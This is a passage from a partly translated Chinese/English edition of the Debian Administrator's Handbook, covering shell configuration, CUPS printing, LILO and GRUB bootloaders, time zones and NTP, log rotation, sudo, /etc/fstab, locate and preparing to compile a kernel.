基本 自動補完

若干命令解譯器提供補完功能，即鍵入命令前幾個字後，使用者按 Tab 後，shell 自動補完命令名稱或參數。使用者的工作更有效率且更少錯誤。

This function is very powerful and flexible. It is possible to configure its behavior according to each command. Thus, the first argument following apt will be proposed according to the syntax of this command, even if it does not match any file (in this case, the possible choices are install, remove, upgrade, etc.).

基本 波浪號，回到家資料夾的捷徑

波浪號通常用於表示環境變數 HOME 指向 (就是使用者的家資料夾，如 /home/rhertzog/) 的資料夾。命令解譯器自動取代：~/hello.txt 就是 /home/rhertzog/hello.txt。

波浪號也可近用至另個使用者的家資料夾。因此，~rmas/bonjour.txt 等於 /home/rmas/bonjour.txt。

In addition to these common scripts, each user can create their own ~/.bashrc and ~/.bash_profile to configure their shell. The most common changes are the addition of aliases; these are words that are automatically replaced with the execution of a command, which makes it faster to invoke that command. For instance, you could create the la alias for the command ls -la | less command; then you only have to type la to inspect the contents of a directory in detail. Please note that the shell needs to be reinitialized after adding an alias, e.g. by starting a new shell.

基本 環境變數

環境變數儲存供 shell 或其他程式使用的全域設定。它們是與環境相關的 (每個程序都有自己的環境變數) 但可繼承的。最後這個特性讓登入 shell 時可以宣告繼承所有程式的變數。

Setting default environment variables is an important element of shell configuration. Leaving aside the variables specific to a shell, it is preferable to place system wide variables in the /etc/environment file, since it is used by the various programs likely to initiate a shell session. Variables typically defined there include ORGANIZATION, which usually contains the name of the company or organization, and HTTP_PROXY, which indicates the existence and location of an HTTP proxy. Other options include to set system wide variables via scripts in /etc/profile.d, or session wide variables via .pam_environment or .profile, where the latter can override any definition contained in the first. The file /etc/default/locale is meant to contain system wide locale related environment variables.

秘訣 所有的 shells 擁有相同的組態

Users often want to configure their login and interactive shells in the same way. To do this, they choose to interpret (or “source”) the content from ~/.bashrc in the ~/.bash_profile file. However, the default ~/.profile file is sourcing ~/.bashrc already and you don't need to create ~/.bash_profile for this purpose anymore, except you want to customize your shell further (see bash(1) for which files are read by bash for login shells). It is also possible to do the same with files common to all users (by calling /etc/bash.bashrc from /etc/profile, which is also done by default now).

8.7. 列表機組態

Printer configuration used to cause a great many headaches for administrators and users alike. These headaches are now mostly a thing of the past, thanks to CUPS, the free print server using IPP, the Internet Printing Protocol.

Debian distributes CUPS divided between several packages. The heart of the system is the scheduler, cupsd, which is in the cups-daemon package. cups-client contains utility programs to interact with the server, cupsd. lpadmin is probably the most important utility, as it is crucial for setting up a printer, but there are also facilities to disable or enable a printer queue, view or delete print jobs and display or set printer options. The CUPS framework is based on the System V printing system, but there is a compatibility package, cups-bsd, allowing use of commands such as lpr, lpq and lprm from the traditional BSD printing system.

社群 CUPS

CUPS is a project and a trademark owned and managed by Apple, Inc. Prior to its acquisition by Apple it was known as the Common Unix Printing System.

→ https://www.cups.org/

The scheduler manages print jobs and these jobs traverse a filtering system to produce a file that the printer will understand and print. The filtering system is provided by the cups-filters package in conjunction with printer-driver-* packages. CUPS in combination with these packages is the basis for the Debian printing system.

Modern printers manufactured and sold within the last ten years are nearly always AirPrint-capable, and CUPS and cups-filters on Debian Bullseye have everything which is needed to take advantage of this facility on the network. In essence, these printers are IPP printers and an excellent fit for a driverless printing system, reducing the system to CUPS plus cups-filters. A printer-driver package can be dispensed with, and non-free printing software from vendors like Canon and Brother is no longer required. A USB-connected printer can take advantage of a modern printer with the ippusbxd package.

The command apt install cups will install CUPS and the filters. It will also install the recommended printer-driver-gutenprint to provide a driver for a wide range of printers, but, unless the printer is being operated driverlessly, an alternative printer-driver might be needed for the particular device.

As a package recommended by cups-daemon, cups-browsed will be on the system and networked print queues, and modern printers can be automatically discovered and set up from their DNS-SD broadcasts (Bonjour). USB printers will have to be set up manually as described in the next paragraph.

The printing system is administered easily through a web interface accessible at the local address http://localhost:631/. Members of the lpadmin group can add and remove USB and network printers and administer most aspects of their behavior. Similar administration tasks can also be carried out via the graphical interface provided by a desktop environment or the system-config-printer graphical interface (from the homonym Debian package).

8.8. 組態 Bootloader

或許已經運作了，但最好知道如何組態與安裝載入啟動器，萬一它不在 Master Boot Record 中。安裝 Windows 等其他作業系統後，很可能出現這種情況。以下的資訊在必要時可協助修改載入啟動器組態。

基本 Master boot record

主開機記錄 (Master Boot Record, MBR) 位於第一顆磁碟的最前方 512 位元組，首先被 BIOS 載入，再啟動作業系統。一般來說，由主開機記錄安裝啟動程式，移除稍早的內容。

8.8.1. 辨識磁碟

文化 udev 與 /dev/

/dev/ 資料夾習慣儲存被稱為 “特殊的” 檔案，用於代表系統的週邊裝置 (見專欄 基本 近用設備的權限)。曾經納入所有可能用到的特殊檔案。這種處理方式有若干缺點，限制設備數量是其中之一，每種設備祗能有一個 (因為清單名稱被限制)，且不可能知道實際上該用那個特殊檔案。

Nowadays, the management of special files is entirely dynamic and matches better the nature of hot-swappable computer devices. The kernel cooperates with udev (節 9.11.3, “udev 的運作”) to create and delete them as needed when the corresponding devices appear and disappear. For this reason, /dev/ doesn't need to be persistent and is thus a RAM-based filesystem that starts empty and contains only the relevant entries.

The kernel communicates lots of information about any newly added device and hands out a pair of major/minor numbers to identify it. With this udevd can create the special file under the name and with the permissions that it wants. It can also create aliases and perform additional actions (such as initialization or registration tasks). udevd's behavior is driven by a large set of (customizable) rules usually found in /lib/udev/rules.d/ and /etc/udev/rules.d/.

動態給予名稱，就能夠讓同名稱永遠指向特定設備，不必在意連結的設備或順序，尤其在使用 USB 週邊時更為便利。第一個磁碟的第一個區塊稱為 /dev/sda1 可供向後相容，喜歡的話也可稱為 /dev/root-partition，或兩者共用，因為 udevd 可以組態成自動新增符號連結。

In ancient times, some kernel modules did automatically load when you tried to access the corresponding device file. This is no longer the case, and the peripheral's special file no longer exists prior to loading the module; this is no big deal, since most modules are loaded on boot thanks to automatic hardware detection. But for undetectable peripherals (such as very old disk drives or PS/2 mice), this doesn't work. Consider adding the modules, floppy, psmouse and mousedev to /etc/modules or /etc/modules-load.d/ in order to force loading them on boot.

組態啟動程式必須辨認硬碟及其分區。Linux 使用 “block” 特殊檔案儲存在 /dev/ 資料夾內。因為 Debian Squeeze 版本使用源自 Linux 核心的硬碟命名架構，所有的硬碟 (IDE/PATA、SATA、SCSI、USB、IEEE 1394) 都以 /dev/sd* 表示。

每個分區由其磁碟代號表示：如，/dev/sda1 是第一個磁碟的第一個分區，而 /dev/sdb3 是第二個磁碟的第三個分區。

PC 架構 (或 “i386”，包括新出現的 “amd64”) 不再受限於使用 “MS-DOS” 分區表格式，每個磁碟可以擁有超過 4 個 “主要” 分區。在此架構下要超過此限制，必須新增 “延伸” 分區，然後就能使用新增的 “次要” 分區。這些次要分區由 5 開始編號。所以，第一個磁碟的次要分區可以是 /dev/sda5，然後是 /dev/sda6，餘此類推。

MS-DOS 分區表格式的另個限制是磁碟的容量不能超過 2 TiB，成為當代磁碟的真正問題。

A new partition table format called GPT (GUID Partition Table) loosens these constraints on the number of partitions (it allows up to 128 partitions when using standard settings) and on the size of the disks (up to 8 ZiB, which is more than 8 billion terabytes). If you intend to create many physical partitions on the same disk, you should therefore ensure that you are creating the partition table in the GPT format when partitioning your disk.

QUICK LOOK The Globally Unique Identifier (GUID)

Using GPT the partition type is represented as a 16 bytes long universally unique identifier, also known as Globally Unique Identifier (GUID), which is part of the UEFI standard (see NOTE UEFI, a modern replacement to the BIOS). Compared to the hex code used to determine the partition type in the MS-DOS table format, you will have a hard time trying to remember these identifiers. Fortunately there are lists with all the IDs which you can use to create partition recipes to use with sfdisk or for preseeding the Debian installer.

→ https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs

It is not always easy to remember what disk is connected to which SATA controller, or in third position in the SCSI chain, especially since the naming of hotplugged hard drives (which includes among others most SATA disks and external disks) can change from one boot to another. Fortunately, udev creates, in addition to /dev/sd*, symbolic links with a fixed name, which you could then use if you wished to identify a hard drive in a non-ambiguous manner. These symbolic links are stored in /dev/disk/by-id/. On a machine with two physical disks, for example, one could find the following:

mirexpress:/dev/disk/by-id# ls -l

total 0

lrwxrwxrwx 1 root root  9 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP -> ../../sda

lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part1 -> ../../sda1

lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part2 -> ../../sda2

[...]

lrwxrwxrwx 1 root root  9 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697 -> ../../sdb

lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part1 -> ../../sdb1

lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part2 -> ../../sdb2

[...]

lrwxrwxrwx 1 root root  9 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP -> ../../sda

lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part1 -> ../../sda1

lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part2 -> ../../sda2

[...]

lrwxrwxrwx 1 root root  9 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697 -> ../../sdb

lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part1 -> ../../sdb1

lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part2 -> ../../sdb2

[...]

lrwxrwxrwx 1 root root  9 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0 -> ../../sdc

lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part1 -> ../../sdc1

lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part2 -> ../../sdc2

[...]

lrwxrwxrwx 1 root root  9 23 jul. 08:58 wwn-0x5000c50015c4842f -> ../../sda

lrwxrwxrwx 1 root root 10 23 jul. 08:58 wwn-0x5000c50015c4842f-part1 -> ../../sda1

[...]

mirexpress:/dev/disk/by-id#

Note that some disks are listed several times (because they behave simultaneously as ATA disks and SCSI disks), but the relevant information is mainly in the model and serial numbers of the disks, from which you can find the peripheral file. While the links in /dev/disk/by-id/ are created using the device' serial number and physical path, there are more convenience links in e.g. /dev/disk/by-label/ (based on given labels), /dev/disk/by-uuid/ (based on unique identifiers, which can change when reformatting a device using mkfs.* or mkswap), /dev/disk/by-path/ (based on shortest physical path), and /dev/disk/by-partlabel/ and /dev/disk/by-partuuid/ (only partitions with GPT labels and their unique identifiers). If you use these links, e.g. in /etc/fstab, always prefer unique identifiers over labels. You can also obtain and change this information for each partition or device using the lsblk and blkid commands.

下節的組態檔根據同樣的設定而來：一個 SATA 磁碟，第一個區分是安裝舊型的視窗、第二個分區安裝 Debian GNU/Linux。

ALTERNATIVE The LILO bootloader

LILO (Linux 啟動程式, LInux LOader) 是最舊的啟動程式 — 穩定但粗糙。把核心的實體位址寫入 MBR 的啟動，所以每次更新至 LILO (或其組態檔案) 都必須再執行命令 lilo。忘記的話，移除或更新核心後，新的核心就不會在磁碟的原來位置，以致系統無法啟動。

LILO 的組態檔是 /etc/lilo.conf；一個簡單的檔案供標準組態之用，如下例。

範例 8.4. LILO 組態檔案

# The disk on which LILO should be installed.

# By indicating the disk and not a partition.

# you order LILO to be installed on the MBR.

boot=/dev/sda

# the partition that contains Debian

root=/dev/sda2

# the item to be loaded by default

default=Linux

# the most recent kernel image

image=/vmlinuz

label=Linux

initrd=/initrd.img

read-only

# Old kernel (if the newly installed kernel doesn't boot)

image=/vmlinuz.old

label=LinuxOLD

initrd=/initrd.img.old

read-only

optional

# only for Linux/Windows dual boot

other=/dev/sda1

label=Windows

As per request of the maintainer and upstream author of lilo, the bootloader has been removed from Debian 11 Bullseye and it is unlikely to make a comeback.

8.8.2. GRUB 2 組態

GRUB (GRand Unified Bootloader) is more recent. It is not necessary to invoke it after each update of the kernel; GRUB knows how to read the filesystems and find the position of the kernel on the disk by itself. To install it on the MBR of the first disk, simply type grub-install /dev/sda. This will overwrite the MBR, so be careful not to overwrite the wrong location. While it is also possible to install GRUB into a partition boot record, beware that it is usually a mistake and doing grub-install /dev/sda1 has not the same meaning as grub-install /dev/sda.

說明 GRUB 的磁碟名稱

GRUB can only identify hard drives based on information provided by the BIOS. (hd0) corresponds to the first disk thus detected, (hd1) the second, etc. In most cases, this order corresponds exactly to the usual order of disks under Linux, but problems can occur when you associate SCSI and IDE disks. GRUB used to store the correspondences that it detected in the file /boot/grub/device.map. Nowadays it avoids this problem using universally unique identifier (UUIDs) or file system labels when generating grub.cfg. However, the device map file is not obsolete yet, since it can be used to override when the current environment is different from the one on boot. If you find errors there (because you know that your BIOS detects drives in a different order), correct them manually and run grub-install again. grub-mkdevicemap can help creating a device.map file from which to start.

區分表在 GRUB 內也有特定的名稱。通常使用 MS-DOS 格式的 “經典” 區分，第一個磁碟的第一個分區標記為 (hd0,msdos1)、第二個分區標記為 (hd0,msdos2)，餘此類推。

GRUB 2 configuration is stored in /boot/grub/grub.cfg, but this file (in Debian) is generated from others. Be careful not to modify it by hand, since such local modifications will be lost the next time update-grub is run (which may occur upon update of various packages). The most common modifications of the /boot/grub/grub.cfg file (to add command line parameters to the kernel or change the duration that the menu is displayed, for example) are made through the variables in /etc/default/grub. To add entries to the menu, you can either create a /boot/grub/custom.cfg file or modify the /etc/grub.d/40_custom file. For more complex configurations, you can modify other files in /etc/grub.d, or add to them; these scripts should return configuration snippets, possibly by making use of external programs. These scripts are the ones that will update the list of kernels to boot: 10_linux takes into consideration the installed Linux kernels; 20_linux_xen takes into account Xen virtual systems, and 30_os-prober adds other existing operating systems (Windows, OS X, Hurd), kernel images, and BIOS/EFI access options to the menu.

CAUTION error: symbol `grub_*' not found

One of the most often reported issues when using GRUB is that users get an error like error symbol `grub_calloc' not found and they are unable to boot the system anymore. Most of the time this error is caused by installing an updated version of GRUB that causes new modules in /boot/grub to be incompatible with old core images in the boot sector that your firmware jumps to when booting your machine. This happens on systems that are configured to run grub-install to a target device that is not actually the one that the firmware uses to boot your system (e.g. after replacing disks or moving them around - one can see the issue when running dpkg-reconfigure grub-pc showing the wrong target device). With the release of Debian 11 Bullseye (the change was also populated to Buster) the update process now checks for this issue and exits with an error in case it finds such a constellation.

→ https://bugs.debian.org/bug=966575#95

Setting up grub-pc (2.02+dfsg1-20+deb10u4) ...

/dev/disk/by-id/[..] does not exist, so cannot grub-install to it!

You must correct your GRUB install devices before proceeding:

DEBIAN_FRONTEND=dialog dpkg --configure grub-pc

dpkg --configure -a

dpkg: error processing package grub-pc (--configure):

installed grub-pc package post-installation script subprocess returned error exit status 1

To fix the issue and continue the upgrade procedure, just follow the advice and run the commands given by the error message as root.

8.8.3. Using GRUB with EFI and Secure Boot

Using GRUB to boot either a traditional BIOS system (legacy or UEFI-CSM) or a UEFI system is quite different. Fortunately the user doesn't need to know the differences because Debian provides different packages for each purpose and the installer automatically cares about which one(s) to choose. The grub-pc package is chosen for legacy systems, where GRUB is installed into the MBR, while UEFI systems require grub-efi-arch, where GRUB is installed into the EFI System Partition (ESP). The latter requires a GTP partition table as well as an EFI partition.

→ https://wiki.debian.org/Grub2#UEFI_vs_BIOS_boot

To switch an existing system (supporting UEFI) from legacy to UEFI boot mode not only requires to switch the GRUB packages on the system, but also to adjust the partition table and the to create an EFI partition (probably including resizing existing partitions to create the necessary free space). It is therefore quite an elaborate process and we cannot cover it here. Fortunately, there are some manuals by bloggers describing the necessary procedures.

If you are using a system with “Secure Boot“ enabled and have installed shim-signed (see sidebar CULTURE Secure Boot and the shim bootloader), you must also install grub-efi-arch-signed. This package is not pulled in automatically, only if the installation of recommended package has been enabled.

8.9. 其他組態：時間同步、記錄、共享近用…

本節列出的細目對希望精通 GNU/Linux 系統組態極有幫助。這裡祗列出簡要的內容，詳情仍需參閱文件。

8.9.1. 時區

基本 符號連結

符號連結是一種指向另個檔案的指標。近用時，被指向的檔案就被打開。移除連結不會刪除指向的檔案。同樣的，沒有自的授權，而是使用目標本身的授權。最後，可以用於任何類型的檔案：資料夾、特殊檔案 (網路插座、具名管道、設備檔案等)、甚至另個符號連結。

ln -s target link-name 命令新增一個符號連結，命名為 link-name，指向 target。

若目標不存在，則連結算是 “破損” 且其近用送回錯誤訊息指示目標檔案不存在。若連結指向另個連結，該連結又指向其前任連結，則該等連結的 “鏈” 形成 “循環”。在這種情況下，近用循環內的任一連結也會得到特定的錯誤 (“過多層的符號連結”)；經過若干循環後核心放棄它。

The timezone, configured during initial installation, is a configuration item for the tzdata package. To modify it, use the dpkg-reconfigure tzdata command, which allows you to choose the timezone to be used in an interactive manner. Its configuration is stored in the /etc/timezone file. Additionally, /etc/localtime becomes a symbolic link to the corresponding file in the /usr/share/zoneinfo; the file that contains the rules governing the dates where daylight saving time (DST) is active, for countries that use it.

暫時變更時區，可使用 TZ 環境變數，它的優先次序在預設的組態檔之前：

$ date

Thu Sep  2 22:29:48 CEST 2021

$ TZ="Pacific/Honolulu" date

Thu 02 Sep 2021 10:31:01 AM HST

說明 系統時鐘，硬體時鐘

電腦內有兩個時間來源。主機板有個硬體時鐘，稱為 “CMOS 時鐘”。這個時鐘不準，近用的速度慢。作業系統核心有自己的系統時鐘，以自己的方式 (可能由時間伺服器協助，見 節 8.9.2, “時間同步”) 保持時間的正確。此系統時鐘較為準確，尤其是不需經由硬體變數就能近用。然而，系統時鐘祗存在於記憶體，開機就歸零，不像 CMOS 時間鐘，有電池支援，不受重新開機或暫停下仍能 “存活”。因此，開機時，由 CMOS 時鐘設定系統時鐘，關機時更新 CMOS 時鐘 (若被不當調整就能修正它)。

實務上有個問題，因為 CMOS 時鐘祗是個計數器，未含時區資訊。有幾個方式選擇其解釋方式：系統以世界標準時間 (UTC，舊稱 GMT)，或當地時間看待。雖然可以簡單切換，但卻頗為複雜：它的偏移值不是常數。系統無法判斷偏移值的正確性，尤其在時區交接。總是在世界標準時間與時區資訊之間重組在地時間，建議使用 CMOS 時間為世界標準時間。

Unfortunately, some Windows systems in their default configuration ignore this recommendation; they keep the CMOS clock on local time, applying time changes when booting the computer by trying to guess during time changes if the change has already been applied or not. This works relatively well, as long as the system has only Windows running on it. But when a computer has several systems (whether it be a “dual-boot” configuration or running other systems via virtual machine), chaos ensues, with no means to determine if the time is correct. If you absolutely must retain Windows on a computer, you should either configure it to keep the CMOS clock as UTC (setting the registry key HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation\RealTimeIsUniversal to “1” as a DWORD), or use hwclock --localtime --set on the Debian system to set the hardware clock and mark it as tracking the local time (and make sure to manually check your clock in spring and autumn).

8.9.2. 時間同步

時間同步，在單機時代是多餘，但在網路時代卻很重要。使用者無權修改日期與時間，所以需要精準的時間以免混亂。尤有甚者，網路上的電腦時間同步後，有助於安排社群工作者透過網路全球串聯。受到攻擊時，容易依序恢復原來的運作。由多部機器收集來的統計資料，必須有同步的時間，才能發揮作用。

基本 NTP

網路時間協定 (Network Time Protocol, NTP) 可以讓機器間相當精準的同步，甚至把網路延遲及其他偏移值列入考量。

網際網路上很多 NTP 伺服器可用，受歡迎的其工作量可能負荷過重。所以建議使用 pool.ntp.org NTP 伺服器，它是一組公開的 NTP 伺服器。也可使用針對特定地區的次群組伺服器，如 us.pool.ntp.org 係供美國使用、ca.pool.ntp.org 供加拿大使用。

然而，管理大型網路時，還是應安裝與公共伺服器同步的自己 NTP 伺服器。同個網路上自己的機器，就能使用內部的 NTP 伺服器不必增加外部公共伺服器的負擔。以自己的時鐘增加網路內機器的同質化，同步擷取與共用資源，使用共同的網路交換時間。

8.9.2.1. 給工作站

工作經常需要重新開機 (雖然祗是節省能源)，開機時以 NTP 同步就夠了。安裝 ntpdate 套件就可以。需要更換 NTP 伺服器時，再修改 /etc/default/ntpdate 檔案即可。

8.9.2.2. 供伺服器

伺服器很少重開機，系統時間必須絕對精準。為了永久維持時間的正確性，必須安裝由 ntp 套件提供的 NPT 伺服器。預設的組態方式係與 pool.ntp.org 同步，且回應在地網路的請求。可以編輯 /etc/ntp.conf 檔案改變原來的組態，NTP 伺服器依照該檔案的內容而變更。若有多個伺服器，最好有一個在地時間伺服器與公共的伺服器同步，並做為在地網路其他伺服器的同步的依據。

進一步 GPS 模組與其他時間來源

如果網路對時間同步極為敏感，最好在伺服器安裝 GPS 模組 (which will use the time from GPS satellites) 或 DCF-77 模組 (which will sync time with the atomic clock near Frankfurt, Germany)。在這種情況下，NTP 伺服器的組態就有點複雜，必須參照文件辦理。

8.9.3. 輪轉日誌檔

日誌檔成長的速度很快，需要典藏它。最常的做法是循環典藏：祗保留最新的 X 部份。logrotate 是負責循環的程式，根據 /etc/logrotate.conf 檔案內的組態，把日誌檔儲存在 /etc/logrotate.d/ 資料夾內。管理者可以修改該等檔案，修改 Debian 預設的循環政策。logrotate(1) 手冊頁面描述該組態可用的選項。可以在循環的過程中，增加典藏的檔案數，或把檔案移至指定的資料夾而不是刪除它們。也可以電子郵件方式寄到別的地方。

logrotate 程式每日執行 cron 排程的要求 (詳情見 節 9.7, “以 cron 和 atd 使用排定的工作”)。

8.9.4. 共享管理員權限

數個管理者共同在同個伺服器工作。共用同個根使用者密碼不是好主意，匿名引發的誤用很麻煩。解決方案是使用 sudo 程式，允許使用者對特定命令擁有專門的權力。在多數情況下，sudo 允許受信任的使用者以根的權限執行命令。使用者祗需執行 sudo command 並以個人的密碼通過認證。

When installed, the sudo package gives full root rights to members of the sudo Unix group. To delegate other rights, the administrator can use the visudo command, which allows them to modify the /etc/sudoers configuration file (here again, this will invoke the vi editor, or any other editor indicated in the EDITOR environment variable). Alternatively they might put rules in small files in /etc/sudoers.d/ as long as this directory is included by /etc/sudoers via @includedir /etc/sudoers.d, which is the default for Debian. Adding a line with username ALL=(ALL) ALL allows the user in question to execute any command as root.

More sophisticated configurations allow authorization of only specific commands to specific users. All the details of the various possibilities are given in the sudoers(5) manual page.

8.9.5. 掛載點清單

基本 掛載與卸載

In a Unix-like system such as Debian, files are organized in a single tree-like hierarchy of directories. The / directory is called the “root directory”; all additional directories are sub-directories within this root. “Mounting” is the action of including the content of a peripheral device (often a hard drive) into the system's general file tree. As a consequence, if you use a separate hard drive to store users' personal data, this disk will have to be “mounted” in the /home/ directory (during installation you already made relevant choices, see 節 4.2.13.1, “引導分割”) The root filesystem is always mounted at boot by the kernel; other devices are often mounted later during the startup sequence or manually with the mount command.

Some removable devices are automatically mounted when connected, especially when using the GNOME, Plasma or other graphical desktop environments. Others have to be mounted manually by the user. Likewise, they must be unmounted (removed from the file tree). Normal users do not usually have permission to execute the mount and umount commands. The administrator can, however, authorize these operations (independently for each mount point) by including the user option in the /etc/fstab file.

The mount command can be used without arguments to list all mounted filesystems (as found in /proc/mounts as well); you can execute findmnt --fstab to show only the filesystems from /etc/fstab. The following parameters are required to mount or unmount a device - for the complete list, please refer to the corresponding man pages, mount(8) and umount(8). For simple cases, the syntax is simple too: for example, to mount the /dev/sdc1 partition, which has an ext3 filesystem, into the /mnt/tmp/ directory, you would simply run mount -t ext3 /dev/sdc1 /mnt/tmp/.

The /etc/fstab file gives a list of all possible mounts that happen either automatically on boot or manually for removable storage devices. Each mount point is described by a line with several space-separated fields:

- file system: this indicates where the filesystem to be mounted can be found, it can be a local device (hard drive partition, CD-ROM) or a remote filesystem (such as NFS or even SSHFS).
This field is frequently replaced with the unique ID of the filesystem (which you can determine with blkid device) prefixed with UUID=. This guards against a change in the name of the device in the event of addition or removal of disks, or if disks are detected in a different order. 節 8.8.1, “辨識磁碟” covers this topic in more detail.

- 掛載點：這是把設備、遠端系統，或分區掛載於在地檔案系統的位置。

- 類型：這個欄位定義掛載設備使用的檔案系統。ext4、ext3、vfat、ntfs、btrfs、xfs 等。
基本 NFS，網路檔案系統

NFS 是一種 Linux 環境下的網路檔案系統，把遠端的檔案以透明方式納入在地的檔案系統內。

A complete list of known filesystems is available in the mount(8) manual page. The swap special value is for swap partitions; the auto special value tells the mount program to automatically detect the filesystem (which is especially useful for disk readers and USB keys, since each one might have a different filesystem);

- 選項：依檔案系統的不同，而有多種選項，詳情見 mount 手冊頁面。最常用的是

- rw 或 ro，表示該設備掛載後可以讀/寫，或祗有讀取的權限。

- noauto 開機時關閉自動掛載。

- nofail 允許在啟動時處理設備，即使該設備不存在。確認啟動時，該外接磁碟機可能未插入，因為 systemd 將確認所有掛載點在啟動完成前必須自動掛載。可將此與 x-systemd.device-timeout=5s 併用，告訴 systemd 不必等 5 秒以上的時間，直接進入下個作業階段 (見 systemd.mount(5))。

- user 授權所有的使用者均可掛載此檔案系統 (若無此選項，則祗有根使用者才有此權限)。

- defaults 表示預設的選項群組為：rw、suid、dev、exec、auto、nouser 與 async，使用了 defaults 之後，還可以用 nosuid 命令、nodev 及其他類似的命令，中止 suid、dev 等作用。加入 user 選項可再啟用它，因為 defaults 包括 nouser。

- dump: this field is almost always set to 0 and kind of a relic. When it is greater then zero, it tells the dump tool that the partition contains data that is to be backed up frequently. The tool supports Ext2/3/4 filesystems only and will use the value here when run via dump -W or dump -w to determine which partitions need to be backed up. Consider the examples in /usr/share/doc/dump/examples/ if you want to use this feature. But there are better alternatives to backup a filesystem, like fsarchiver.

- pass: this last field indicates whether the integrity of the filesystem should be checked on boot, and in which order this check should be executed. If it is 0, no check is conducted. The root filesystem should have the value 1, while other permanent filesystems get the value 2.

範例 8.5. 範例 /etc/fstab 檔案

# /etc/fstab: static file system information.

#

# Use 'blkid' to print the universally unique identifier for a

# device; this may be used with UUID= as a more robust way to name devices

# that works even if disks are added and removed. See fstab(5).

#

# systemd generates mount units based on this file, see systemd.mount(5).

# Please run 'systemctl daemon-reload' after making changes here.

#

# <file system>                           <mount point>   <type>      <options>         <dump>  <pass>

# / was on /dev/sda1 during installation

UUID=7a250fb8-c16d-4a4e-9808-ec08ae92b6c6 /               ext4        errors=remount-ro 0       1

# swap was on /dev/sda5 during installation

UUID=13f367ae-dbaf-40ed-85c0-4072a2ebe426 none            swap        sw                0       0

/dev/sr0                                  /media/cdrom0   udf,iso9660 user,noauto       0       0

/dev/fd0                                  /media/floppy   auto        rw,user,noauto    0       0

arrakis:/shared                           /shared         nfs         defaults          0       0

The last entry in the example corresponds to a network filesystem (NFS): the /shared/ directory on the arrakis server is mounted at /shared/ on the local machine.

The format of the /etc/fstab file is documented in the fstab(5) manual page.

下一步 自動掛載

systemd is able to manage automount points: those are filesystems that are mounted on-demand when a user attempts to access their target mount points. It can also unmount these filesystems when no process is accessing them any longer.

Like most concepts in systemd, automount points are managed with dedicated units, using the .automount suffix. See systemd.automount(5) for their precise syntax.

Other auto-mounting utilities exist, such as automount in the autofs package or amd in the am-utils package.

Note also that GNOME, Plasma, and other graphical desktop environments work together with udisks2, and can automatically mount removable media when they are connected.

8.9.6. locate 與 updatedb

The locate command can find the location of a file when you only know part of the name. It sends a result almost instantaneously, since it consults a database that stores the location of all the files on the system; this database is updated daily by the updatedb command. There are multiple implementations of the locate command and Debian picked mlocate for its standard system. If you want to consider an alternative, you can try plocate which provides the same command line options and can be considered a drop-in replacement.

locate is smart enough to only return files which are accessible to the user running the command even though it uses a database that knows about all files on the system (since its updatedb implementation runs with root rights). For extra safety, the administrator can use PRUNEDPATHS in /etc/updatedb.conf to exclude some directories from being indexed.

8.10. 編譯核心

Debian 的核心儘量納入所有的功能，以及最多的驅動程式，以便涵蓋現在的硬體組態。所以，有些使用者寧願自行編譯祗包括所需的核心。這麼做有兩個理由。第一，記憶體用量較小，核心程式碼，即使未用到，也佔有記憶體的空間 (而且永遠不 “離開” 置換記憶體，因為它用到實際的 RAM)，降低系統的整體效能。在地自行編譯的核心也限制了安全問題的範圍，因為祗編譯與執行部份核心碼。

說明 安全更新

決定編譯自己的核心後，必須接受一個事實：Debian 不能確認客製化核心的安全更新。使用 Debian 的核心，可以使用 Debian 計畫提供的更新。

使用祗在補丁內的功能 (不在標準的核心內) 時，就必須重新編譯核心。

進一步 The Debian Kernel Handbook

The Debian kernel team maintains the “Debian Kernel Handbook” (also available in the debian-kernel-handbook package) with comprehensive documentation about most kernel related tasks and about how official Debian kernel packages are handled. This is the first place you should look into if you need more information than what is provided in this section.

→ https://kernel-team.pages.debian.net/kernel-handbook/

8.10.1. 簡介和先決條件

Debian 以套件方式管理核心，與傳統的編譯安裝不同調。核心還是在套件系統的控制下，可以被完整移除，或布建在多個機器上。與該等套件有關的腳本自動與啟動程式和 initrd 產生器互動。

The upstream Linux sources contain everything needed to build a Debian package of the kernel. But you still need to install build-essential to ensure that you have the tools required to build a Debian package. Furthermore, the configuration step for the kernel requires the libncurses-dev package (formerly libncurses5-dev, which is now a transitional package). Finally, the fakeroot package will enable creation of the Debian package without using administrator's rights.

文化 kernel-package 的美好歲月

以 Linux 布建系統能夠建立適當的 Debian 套件前，使用 make-kpkg，來自 kernel-package 套件。

8.10.2. 取得原始碼

Like anything that can be useful on a Debian system, the Linux kernel sources are available in a package. To retrieve them, just install the linux-source-version package. The apt search ^linux-source command lists the various kernel versions packaged by Debian. The latest version is available in the Unstable distribution: you can retrieve them without much risk (especially if your APT is configured according to the instructions of 節 6.2.6, “在多個發行版工作”). Note that the source code contained in these packages does not correspond precisely with that published by Linus Torvalds and the kernel developers; like all distributions, Debian applies a number of patches, which might (or might not) find their way into the upstream version of Linux. These modifications include backports of fixes/features/drivers from newer kernel versions, new features not yet (entirely) merged in the upstream Linux tree, and sometimes even Debian specific changes.

